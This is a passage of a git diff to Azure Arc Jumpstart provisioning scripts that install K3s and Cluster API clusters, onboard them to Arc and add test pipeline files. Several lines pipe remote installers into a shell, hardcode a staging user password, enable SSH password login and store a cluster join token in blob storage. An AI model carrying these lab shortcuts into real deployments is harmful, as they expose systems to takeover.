-export AZURE_CLUSTER_IDENTITY_SECRET_NAMESPACE="default" - -# Installing kubectl -sudo snap install kubectl --channel=$KUBECTL_VERSION --classic - -# Installing Rancher K3s cluster (single control plane) -echo "" -sudo mkdir ~/.kube -sudo -u $adminUsername mkdir /home/${adminUsername}/.kube -curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik" INSTALL_K3S_VERSION=v${K3S_VERSION} sh - -sudo chmod 644 /etc/rancher/k3s/k3s.yaml -sudo kubectl config rename-context default arcboxcapimgmt --kubeconfig /etc/rancher/k3s/k3s.yaml -sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config-mgmt -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging -sudo chown -R $adminUsername /home/${adminUsername}/.kube/ -sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging - -export KUBECONFIG=/etc/rancher/k3s/k3s.yaml -kubectl config set-context arcboxcapimgmt - -# Installing clusterctl -echo "" -curl -L https://github.com/kubernetes-sigs/cluster-api/releases/download/v${CLUSTERCTL_VERSION}/clusterctl-linux-amd64 -o clusterctl -sudo chmod +x ./clusterctl -sudo mv ./clusterctl /usr/local/bin/clusterctl -clusterctl version - -# Installing Helm 3 -echo "" -sudo snap install helm --classic - -echo "" -echo "Making sure Rancher K3s cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' -echo "" - -# Creating a secret to include the password of the Service Principal identity created in Azure -# This secret will be referenced by the AzureClusterIdentity used by the AzureCluster -kubectl create secret generic "${AZURE_CLUSTER_IDENTITY_SECRET_NAME}" --from-literal=clientSecret="${AZURE_CLIENT_SECRET}" - -# Converting the Rancher K3s cluster to a Cluster API management cluster -echo "Converting the Kubernetes cluster to a management cluster with the Cluster API Azure Provider (CAPZ)..." -clusterctl init --infrastructure=azure:v${CAPI_PROVIDER_VERSION} --wait-providers -echo "Making sure cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -echo "" - -# Creating CAPI Workload cluster yaml manifest -echo "Deploying Kubernetes workload cluster" -echo "" -sudo curl -o capz_kustomize/patches/AzureCluster.yaml --create-dirs ${templateBaseUrl}artifacts/capz_kustomize/patches/AzureCluster.yaml -sudo curl -o capz_kustomize/patches/Cluster.yaml ${templateBaseUrl}artifacts/capz_kustomize/patches/Cluster.yaml -sudo curl -o capz_kustomize/patches/KubeadmControlPlane.yaml ${templateBaseUrl}artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml -sudo curl -o capz_kustomize/kustomization.yaml ${templateBaseUrl}artifacts/capz_kustomize/kustomization.yaml -sed -e "s|CAPI_PROVIDER_VERSION|v$CAPI_PROVIDER_VERSION|" -i capz_kustomize/kustomization.yaml -kubectl kustomize capz_kustomize/ > jumpstart.yaml -clusterctl generate yaml --from jumpstart.yaml > template.yaml - -# Creating Microsoft Defender for Cloud audit secret -echo "" -echo "Creating Microsoft Defender for Cloud audit secret" -echo "" -curl -o audit.yaml https://raw.githubusercontent.com/Azure/Microsoft-Defender-for-Cloud/main/Pricing%20%26%20Settings/Defender%20for%20Kubernetes/audit-policy.yaml - -cat < $CLUSTER_NAME.kubeconfig -sleep 120 -echo "" -# sudo kubectl --kubeconfig=./$CLUSTER_NAME.kubeconfig apply -f https://raw.githubusercontent.com/kubernetes-sigs/cluster-api-provider-azure/main/templates/addons/calico.yaml -helm repo add projectcalico https://docs.tigera.io/calico/charts --kubeconfig=./$CLUSTER_NAME.kubeconfig && \ -helm install calico projectcalico/tigera-operator --version $CALICO_VERSION --kubeconfig=./$CLUSTER_NAME.kubeconfig -f https://raw.githubusercontent.com/kubernetes-sigs/cluster-api-provider-azure/main/templates/addons/calico/values.yaml --namespace tigera-operator --create-namespace - -echo "" -while true; do - # Retrieve the list of nodes - nodes=$(kubectl get nodes --kubeconfig=./$CLUSTER_NAME.kubeconfig -o json | jq -r '.items[].metadata.name') - - # Flag to keep track of readiness status - all_ready=true - - # Iterate over each node and check its status - for node in $nodes; do - ready=$(kubectl get nodes $node --kubeconfig=./$CLUSTER_NAME.kubeconfig -o json | jq -r '.status.conditions[] | select(.type=="Ready") | .status') - - if [[ $ready != "True" ]]; then - echo "Node $node is not ready." - all_ready=false - fi - done - - # Check if all nodes are ready - if [[ $all_ready == true ]]; then - echo "All nodes are ready." - break - else - echo "Waiting for 30 seconds..." - sleep 30 - fi -done - - -echo "" -sudo kubectl --kubeconfig=./$CLUSTER_NAME.kubeconfig label node -l '!node-role.kubernetes.io/master' node-role.kubernetes.io/worker=worker -echo "" -sudo kubectl --kubeconfig=./$CLUSTER_NAME.kubeconfig get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' - -# kubeconfig files housekeeping -echo "" -sudo -u $adminUsername rm -f /home/${adminUsername}/.kube/config.staging -clusterctl get kubeconfig $CLUSTER_NAME > /home/${adminUsername}/.kube/config - -sudo service sshd restart - -# Creating Storage Class with azure-managed-disk for the CAPI cluster -echo "" -sudo -u $adminUsername kubectl apply -f ${templateBaseUrl}artifacts/capiStorageClass.yaml - -# Renaming CAPI cluster context name -echo "" -sudo -u $adminUsername kubectl config rename-context "$CLUSTER_NAME-admin@$CLUSTER_NAME" "arcbox-capi" - -# Onboarding the cluster to Azure Arc -echo "" -workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $AZURE_RESOURCE_GROUP --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) -sudo -u $adminUsername az connectedk8s connect --name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --location $location --tags 'Project=jumpstart_arcbox' --correlation-id "6038cc5b-b814-4d20-bcaa-0f60392416d5" - -# Enabling Microsoft Defender for Containers and Container Insights cluster extensions -echo "" -sudo -u $adminUsername az k8s-extension create --name "azure-defender" --cluster-name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId -echo "" -sudo -u $adminUsername az k8s-extension create --name "azuremonitor-containers" --cluster-name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId - -# Enabling Azure Policy for Kubernetes on the cluster -echo "" -sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights - -# Deploying The Azure disk Container Storage Interface (CSI) Kubernetes driver -echo "" -curl -skSL https://raw.githubusercontent.com/kubernetes-sigs/azuredisk-csi-driver/v${AZURE_DISK_CSI_DRIVER_VERSION}/deploy/install-driver.sh -o install-driver.sh -sed -i 's/kubectl apply/sudo -u ${adminUsername} kubectl apply/g' install-driver.sh -source ./install-driver.sh v${AZURE_DISK_CSI_DRIVER_VERSION} snapshot -- - -# Copying workload CAPI kubeconfig file to staging storage account -echo "" -sudo -u $adminUsername az extension add --upgrade -n storage-preview -storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') -storageContainerName="staging-capi" -export localPath="/home/${adminUsername}/.kube/config" -storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') -sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath - -# Uploading this script log to staging storage for ease of troubleshooting -echo "" -log="/home/${adminUsername}/jumpstart_logs/installCAPI.log" -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index a8bc3b9825..5564d7c98a 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -1,7 +1,4 @@ #!/bin/bash -exec >installK3s.log -exec 2>&1 - sudo apt-get update sudo sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config @@ -11,28 +8,35 @@ sudo echo "staginguser:ArcPassw0rd" | sudo chpasswd # Injecting environment variables echo '#!/bin/bash' >> vars.sh echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $deployBastion:$9 | awk '{print substr($1,2); }' >> vars.sh -echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh +echo $subscriptionId:$2 | awk '{print substr($1,2); }' >> vars.sh +echo $vmName:$3 | awk '{print substr($1,2); }' >> vars.sh +echo $location:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $stagingStorageAccountName:$5 | awk '{print substr($1,2); }' >> vars.sh +echo $logAnalyticsWorkspace:$6 | awk '{print substr($1,2); }' >> vars.sh +echo $templateBaseUrl:$7 | awk '{print substr($1,2); }' >> vars.sh +echo $storageContainerName:$8 | awk '{print substr($1,2); }' >> vars.sh +echo $k3sControlPlane:$9 | awk '{print substr($1,2); }' >> vars.sh sed -i '2s/^/export adminUsername=/' vars.sh -sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh -sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh -sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export vmName=/' vars.sh -sed -i '7s/^/export location=/' vars.sh -sed -i '8s/^/export stagingStorageAccountName=/' vars.sh -sed -i '9s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '10s/^/export deployBastion=/' vars.sh -sed -i '11s/^/export templateBaseUrl=/' vars.sh - -export K3S_VERSION="1.28.2+k3s1" # Do not change! +sed -i '3s/^/export subscriptionId=/' vars.sh +sed -i '4s/^/export vmName=/' vars.sh +sed -i '5s/^/export location=/' vars.sh +sed -i '6s/^/export stagingStorageAccountName=/' vars.sh +sed -i '7s/^/export logAnalyticsWorkspace=/' vars.sh +sed -i '8s/^/export templateBaseUrl=/' vars.sh +sed -i '9s/^/export storageContainerName=/' vars.sh +sed -i '10s/^/export k3sControlPlane=/' vars.sh + +export vmName=$3 + +# Save the original stdout and stderr +exec 3>&1 4>&2 + +exec >installK3s-${vmName}.log +exec 2>&1 + +# Set k3 deployment variables +export K3S_VERSION="1.29.6+k3s2" # Do not change! chmod +x vars.sh . ./vars.sh @@ -42,81 +46,208 @@ sudo curl -v -o /etc/profile.d/welcomeK3s.sh ${templateBaseUrl}artifacts/welcome # Syncing this script log to 'jumpstart_logs' directory for ease of troubleshooting sudo -u $adminUsername mkdir -p /home/${adminUsername}/jumpstart_logs -while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installK3s.log /home/${adminUsername}/jumpstart_logs/installK3s.log; done & - -# Installing Rancher K3s cluster (single control plane) -echo "" -publicIp=$(hostname -i) -sudo mkdir ~/.kube -sudo -u $adminUsername mkdir /home/${adminUsername}/.kube -curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik --node-external-ip ${publicIp} --bind-address ${publicIp}" INSTALL_K3S_VERSION=v${K3S_VERSION} sh - -sudo chmod 644 /etc/rancher/k3s/k3s.yaml -sudo kubectl config rename-context default arcbox-k3s --kubeconfig /etc/rancher/k3s/k3s.yaml -sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging -sudo chown -R $adminUsername /home/${adminUsername}/.kube/ -sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging - -# Installing Helm 3 -sudo snap install helm --classic +while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installK3s-$vmName.log /home/${adminUsername}/jumpstart_logs/installK3s-$vmName.log; done & +# Downloading azcopy echo "" -echo "Making sure Rancher K3s cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' +echo "Downloading azcopy" echo "" +wget -O azcopy.tar.gz https://aka.ms/downloadazcopy-v10-linux +if [[ $? -ne 0 ]]; then + echo "ERROR: Failed to download azcopy" + exit 1 +fi + +tar -xf azcopy.tar.gz +sudo mv azcopy_linux_amd64_*/azcopy /usr/local/bin/azcopy +sudo chmod +x /usr/local/bin/azcopy +# Authorize azcopy by using a system-wide managed identity +export AZCOPY_AUTO_LOGIN_TYPE=MSI + +# Function to check if dpkg lock is in place +check_dpkg_lock() { + while fuser /var/lib/dpkg/lock-frontend >/dev/null 2>&1; do + echo "Waiting for other package management processes to complete..." + sleep 5 + done +} + +# Run the lock check before attempting the installation +check_dpkg_lock # Installing Azure CLI & Azure Arc extensions curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -sudo -u $adminUsername az extension add --name connectedk8s -sudo -u $adminUsername az extension add --name k8s-configuration -sudo -u $adminUsername az extension add --name k8s-extension - echo "" echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId -az -v echo "" +for i in {1..5}; do + sudo -u $adminUsername az login --identity + if [[ $? -eq 0 ]]; then + break + fi + sleep 15 + if [[ $i -eq 5 ]]; then + echo "Error: Failed to login to Azure after 5 retries" + exit 1 + fi +done + +sudo -u $adminUsername az account set --subscription $subscriptionId +az -v -# Registering Azure resource providers -sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait - -sudo service sshd restart - -# Onboard the cluster to Azure Arc -resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) -workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) -sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' --only-show-errors +if [[ "$k3sControlPlane" == "true" ]]; then + + # Installing Azure Arc extensions + echo "" + echo "Installing Azure Arc extensions" + echo "" + sudo -u $adminUsername az extension add --name connectedk8s + sudo -u $adminUsername az extension add --name k8s-configuration + sudo -u $adminUsername az extension add --name k8s-extension + + # Installing Rancher K3s cluster (single control plane) + echo "" + echo "Installing Rancher K3s cluster" + echo "" + publicIp=$(hostname -i) + sudo mkdir ~/.kube + sudo -u $adminUsername mkdir /home/${adminUsername}/.kube + curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik --disable servicelb --node-ip ${publicIp} --node-external-ip ${publicIp} --bind-address ${publicIp} --tls-san ${publicIp}" INSTALL_K3S_VERSION=v${K3S_VERSION} K3S_KUBECONFIG_MODE="644" sh - + if [[ $? -ne 0 ]]; then + echo "ERROR: K3s installation failed" + exit 1 + fi + # Renaming default context to k3s cluster name + context=$(echo $storageContainerName | sed 's/-[^-]*$//') + sudo kubectl config rename-context default $context --kubeconfig /etc/rancher/k3s/k3s.yaml + sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config + sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config + sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging + sudo chown -R $adminUsername /home/${adminUsername}/.kube/ + sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging + + # Installing Helm 3 + echo "" + echo "Installing Helm" + echo "" + sudo snap install helm --classic + if [[ $? -ne 0 ]]; then + echo "ERROR: Helm installation failed" + exit 1 + fi + + echo "" + echo "Making sure Rancher K3s cluster is ready..." + echo "" + sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null + sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' + + # Copying Rancher K3s kubeconfig file to staging storage account + echo "" + echo "Copying Rancher K3s kubeconfig file to staging storage account" + echo "" + localPath="/home/$adminUsername/.kube/config" + k3sClusterNodeConfig="/home/$adminUsername/k3sClusterNodeConfig.yaml" + echo "k3sNodeToken: $(sudo cat /var/lib/rancher/k3s/server/node-token)" >> $k3sClusterNodeConfig + echo "k3sClusterIp: $publicIp" >> $k3sClusterNodeConfig + # Copying kubeconfig file to staging storage account + azcopy make "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName" + azcopy cp $localPath "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/config" + azcopy cp $k3sClusterNodeConfig "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/k3sClusterNodeConfig.yaml" + + # Onboard the cluster to Azure Arc + echo "" + echo "Onboarding the cluster to Azure Arc" + echo "" + resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) + workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) + echo "Log Analytics workspace id $workspaceResourceId" + + sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location + echo "Onboarding the k3s cluster to Azure Arc completed" + + # Verify if cluster is connected to Azure Arc successfully + connectedClusterInfo=$(sudo -u $adminUsername az connectedk8s show --name $vmName --resource-group $resourceGroup) + echo "Connected cluster info: $connectedClusterInfo" + + # Wait +# Function to check if an extension is already installed +is_extension_installed() { + extension_name=$1 + extension_count=$(sudo -u $adminUsername az k8s-extension list --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --query "[?name=='$extension_name'] | length(@)") + + if [ "$extension_count" -gt 0 ]; then + return 0 # Extension is installed + else + return 1 # Extension is not installed + fi +} # Enabling Container Insights and Microsoft Defender for Containers cluster extensions echo "" -sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +echo "Enabling Container Insights and Microsoft Defender for Containers cluster extensions" echo "" -sudo -u $adminUsername az k8s-extension create -n "azure-defender" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors + +# Check and install azuremonitor-containers extension +if is_extension_installed "azuremonitor-containers"; then + echo "Extension 'azuremonitor-containers' is already installed." +else + echo "Extension 'azuremonitor-containers' is not installed - triggering installation" + sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +fi + +# Check and install microsoft.azuredefender.kubernetes extension +if is_extension_installed "microsoft.azuredefender.kubernetes"; then + echo "Extension 'microsoft.azuredefender.kubernetes' is already installed." +else + echo "Extension 'microsoft.azuredefender.kubernetes' is not installed - triggering installation" + sudo -u $adminUsername az k8s-extension create -n "microsoft.azuredefender.kubernetes" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +fi # Enabling Azure Policy for Kubernetes on the cluster echo "" -sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors - -# Copying Rancher K3s kubeconfig file to staging storage account +echo "Enabling Azure Policy for Kubernetes on the cluster" echo "" -sudo -u $adminUsername az extension add --upgrade -n storage-preview -storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') -storageContainerName="staging-k3s" -localPath="/home/$adminUsername/.kube/config" -storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') -sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath + +# Check and install arc-azurepolicy extension +if is_extension_installed "azurepolicy"; then + echo "Extension 'azurepolicy' is already installed." +else + echo "Extension 'azurepolicy' is not installed - triggering installation" + sudo -u $adminUsername az k8s-extension create --name "azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors +fi + +else + # Downloading k3s control plane details + echo "" + echo "Downloading k3s control plane details" + echo "" + k3sClusterNodeConfigYaml="k3sClusterNodeConfig.yaml" + azcopy cp --check-md5 FailIfDifferentOrMissing "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/$k3sClusterNodeConfigYaml" "/home/$adminUsername/$k3sClusterNodeConfigYaml" + + # Installing Rancher K3s cluster (single worker node) + echo "" + echo "Installing Rancher K3s cluster node" + echo "" + k3sNodeToken=$(grep 'k3sNodeToken' "/home/$adminUsername/$k3sClusterNodeConfigYaml" | awk '{print $2}') + k3sClusterIp=$(grep 'k3sClusterIp' "/home/$adminUsername/$k3sClusterNodeConfigYaml" | awk '{print $2}') + curl -sfL https://get.k3s.io | K3S_URL=https://${k3sClusterIp}:6443 INSTALL_K3S_VERSION=v${K3S_VERSION} K3S_TOKEN=${k3sNodeToken} sh - + if [[ $? -ne 0 ]]; then + echo "ERROR: Failed to add k3s worker nodes" + exit 1 + fi + + sudo service sshd restart +fi # Uploading this script log to staging storage for ease of troubleshooting -log="/home/${adminUsername}/jumpstart_logs/installK3s.log" -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log +echo "" +echo "Uploading the script logs to staging storage" +echo "" +exec 1>&3 2>&4 # Further commands will now output to the original stdout and stderr and not the log file +log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" +storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" --check-length=false >/dev/null 2>&1 + +exit 0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json new file mode 100644 index 0000000000..4d13fcd5b2 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json @@ -0,0 +1,33 @@ +{ + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", + "contentVersion": "1.0.0.0", + "parameters": { + "sshRSAPublicKey": { + "value": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" + }, + "windowsAdminUsername": { + "value": "arcdemo" + }, + "logAnalyticsWorkspaceName": { + "value": "arcbox-la" + }, + "flavor": { + "value": "ITPro" + }, + "deployBastion": { + "value": false + }, + "githubAccount": { + "value": "microsoft" + }, + "githubBranch": { + "value": "arcbox_3.0" + }, + "vmAutologon": { + "value": true + }, + "rdpPort": { + "value": "3390" + } + } +} diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml new file mode 100644 index 0000000000..f2e39fb8ba --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -0,0 +1,107 @@ +trigger: + branches: + include: + - arcbox_3.0 + paths: + include: + - azure_jumpstart_arcbox/* + +parameters: +- name: ResourceGroupName + displayName: 'Resource Group Name' + type: string + default: 'arcbox-itpro-integration-tests' + +variables: + ResourceGroupName: ${{parameters.ResourceGroupName}} + +stages: +- stage: 'ArcBox_deployment' + jobs: + - job: Deploy + timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown + pool: + #name: arc-jumpstart-container-apps-pool + vmImage: 'ubuntu-latest' + continueOnError: 'true' + steps: + + - task: BicepInstall@0 + displayName: 'Install Bicep' + inputs: + version: 0.24.24 + + - task: AzurePowerShell@5 + displayName: 'Deploy resource group' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Running deployment from machine $(hostname) and public IP $(irm ifconfig.me/ip)" + $RGname = "$(ResourceGroupName)" + New-AzResourceGroup -Name $RGname -Location "eastus" + + - task: AzurePowerShell@5 + displayName: 'Deploy Bicep template' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deploying to $(ResourceGroupName)" + -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + New-AzResourceGroupDeployment -Name ArcBox ` + -ResourceGroupName $(ResourceGroupName) ` + -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` + -TemplateParameterFile "azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json" ` + -TemplateParameterObject @{ + spnClientId = $env:spnClientId + spnClientSecret = $env:spnClientSecret + tenantId = $env:tenantId + windowsAdminPassword = $env:windowsAdminPassword + } + + + - task: AzurePowerShell@5 + displayName: 'Upload Pester test-results from ArcBox VM' + inputs: + azureSubscription: 'Azure Arc Jumpstart 